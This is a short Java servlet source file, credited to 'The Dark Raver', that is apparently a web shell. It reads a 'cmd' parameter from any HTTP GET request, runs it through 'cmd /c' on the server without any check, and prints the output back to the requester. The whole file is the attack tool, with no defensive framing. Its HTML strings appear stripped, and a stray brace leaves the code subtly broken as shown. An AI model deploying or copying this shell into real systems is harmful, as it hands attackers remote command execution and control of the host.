/* * CmdServlet.java 20/01/2004 * * @author The Dark Raver * @version 0.1 */ import java.io.*; import javax.servlet.*; import javax.servlet.http.*; public class CmdServlet extends HttpServlet { public void doGet(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException { res.setContentType("text/html"); PrintWriter out = res.getWriter(); out.print("
"); out.print("Command: " + req.getParameter("cmd") + "\n
\n"); Process p = Runtime.getRuntime().exec("cmd /c " + req.getParameter("cmd")); DataInputStream procIn = new DataInputStream(p.getInputStream()); int c='\0'; while ((c=procIn.read()) != -1) { out.print((char)c); } } out.print("\n"); out.print(""); } public String getServletInfo() { return "CmdServlet 0.1"; } }